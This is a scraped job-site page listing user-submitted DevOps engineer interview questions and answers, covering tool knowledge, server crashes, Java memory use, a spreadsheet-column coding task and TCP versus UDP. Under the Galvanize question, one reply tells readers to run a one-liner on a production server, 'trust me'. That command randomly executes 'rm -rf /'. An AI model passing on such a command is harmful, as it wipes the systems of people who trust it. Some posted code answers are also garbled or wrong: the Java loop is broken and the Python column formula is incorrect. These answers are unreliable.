Devops engineer Interview Questions in United States

"DevOps is a quickly growing space for tech companies. Employers hiring DevOps engineers are looking for candidates with strong programming abilities, a knowledge of re-engineering processes, and great communication skills to fast-track projects between IT professionals and software engineers. Expect to answer various technical questions that will evaluate your knowledge of tech tools and processes such as HTTP. Experience in software engineering or a related field is expected."

Devops engineer Interview Questions in United States

Devops engineer Interview Questions in United States

"DevOps is a quickly growing space for tech companies. Employers hiring DevOps engineers are looking for candidates with strong programming abilities, a knowledge of re-engineering processes, and great communication skills to fast-track projects between IT professionals and software engineers. Expect to answer various technical questions that will evaluate your knowledge of tech tools and processes such as HTTP. Experience in software engineering or a related field is expected."

4,594 Devops Engineer interview questions shared by candidates

Top DevOps Engineer Interview Questions & How to Answer

Here are three of the top questions asked in DevOps engineer interviews and how to answer them:

Question #1: What are the top DevOps tools, and which ones have you worked with before?

How to answer: This open-ended question is designed to showcase your knowledge and experience with a variety of available DevOps tools. Share any tools you have specific experience with and how you've used them to develop good quality software. If you have generalized knowledge of many tools, you can easily speak to how to use them. If you have limited experience with DevOps tools, you can share that you specialize in those tools and how you've used them.

Question #2: What is the need for DevOps?

How to answer: This open-ended question allows you to demonstrate and communicate your knowledge of the advantages of using DevOps. This question also lets you share examples of companies who have used DevOps to achieve levels of performance that far exceeded expectations. You can attest to the benefits of DevOps and how these companies need it to continue to expand.

Question #3: What are the most important things that DevOps help achieve?

How to answer: This open-ended question is used to understand your perception of what is important when it comes to DevOps. Share the positive effects of DevOps and its relation to customer satisfaction, clearer communication, and better collaboration. When possible, share examples from your previous experience that demonstrate these important aspects of DevOps.

Top Interview Questions

Sort: Relevance|Popular|Date
SiriusXM
Devops Engineer was asked...September 11, 2011

What is Control Access?

2 Answers

Control Access allows you to grant or restrict access of a subscriber based on his/her payment plan. Less

I miss this question as it is a industry terminology. It means you can control the access of any subscriber base on his payment plan. Less

SiriusXM

What will you do if you notice that one of the MS Server Crash?

1 Answers

Restart the Server and go to the Event Logs to find the Error Code. Then check out the Error Code on Technet to find a solution. Less

Roblox

Q: How would you architect a service that would detect and protect nodes that were being attacked by bots?

1 Answers

I think the answer could be using module_evasive , as it detects the DoS attacks and prevents them by not accepting requests from that client. Less

Amazon

How do you know how much memory your java application is taking on Linux?

6 Answers

pmap or top is probably the simplest. Just be sure not to confuse virtual memory with physical. Less

jps |awk "{print $1}" | xargs -L 1 ps -ef -o %mem

ps aux | grep -i

Show More Responses
H2O.ai

A programming question ? Related to excel spread sheet. The question goes this way. columns will go infinitely : A , B.......................Z,AA,AB............AZ,AAA................ZZZZ so interviewer wanted me to choose a programming language of choice and pass the column name and print corresponding column number. A - 1 B- 2 Z - 26 AA - 27 1 + 26 AZA - 1 + 26 + 26 +

3 Answers

I tried solving it with python I gave some solution it didn't worked well.

public class Column { static int getColumnPosition(String cell) { int columnposition = 1; int row = 0; int j = 0; char[] cellAsArray = cell.toCharArray(); char column = cellAsArray[cellAsArray.length - 1]; for (int i=0; i = 'A' && letter <= 'Z') { letterPosition += 1 + letter - 'A'; } return letterPosition; } public static void main(String[] args) { int position = getColumnPosition("ZZ"); System.out.println("Position is " +position); } } Less

num = 0 for char in list('AZA'): num = num + ord(char) - ord('A') + 1 return num Less

Capital One

Are you willing to work on 3AM Production Support without hesitation ?

3 Answers

Yes

Yea

Yes

Intuit

How do you stay organized? Describe tools and techniques.

3 Answers

I use Outlook for email, contacts, calendar, and tasks in the work environment, and I use OneNote to collect and search through important notes. With my smartphone I use Google's calendar, gmail, and search. Less

Trello for managing/limiting work in progress; focusing on one task at a time. Don't use email at all if you can help it. Use Slack for team communication as it links with Trello effectively. Keep all of your code in GitHub and commit+push often to track changes. Don't be someone responsible for releasing software; be someone who enables teams to release via services or automation you provide. Work hard to keep from being a bottleneck or gatekeeper of environments. Don't keep secrets or build silos of knowledge. The mindset you adopt will enable you to uplift others and enable better communication across your team and organization. Less

Choose carefully what you put your attention on and resist the urge to multitask. Choose your top 2 or 3 skill areas and focus on cultivating them. Tools like Outlook are not helpful for DevOps. Shut it off for long periods of time each day. Less

Galvanize

I was asked about network protocols and linux commands. Never been my plan to know that by heart.

3 Answers

Bring your network-system bible with you. Or learn it by heart :-)

If you went to a doctor to remove your brain tumor and he goes on google to research the different types of brain tumor so he could would you want him to do the op on you? Less

you don't know your linux commands? then run this on your production server, you'll get recognized for it. trust me [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "You live" Less

Cloudreach

Describe the difference between TCP and UDP.

3 Answers

I described the difference between TCP and UDP.

Stateless and stateful..

Stateless and stateful..

Doctor.com

Write the Binary Search Algorithm

1 Answers

I was not prepared to answer that question seeing as the job announcement was very geared towards sys admin and server management. I wasn't initially asked any questions based off the job requirements I had to initiate it Less

Viewing 1 - 10 of 4,594 Interview Questions

See Interview Questions for Similar Jobs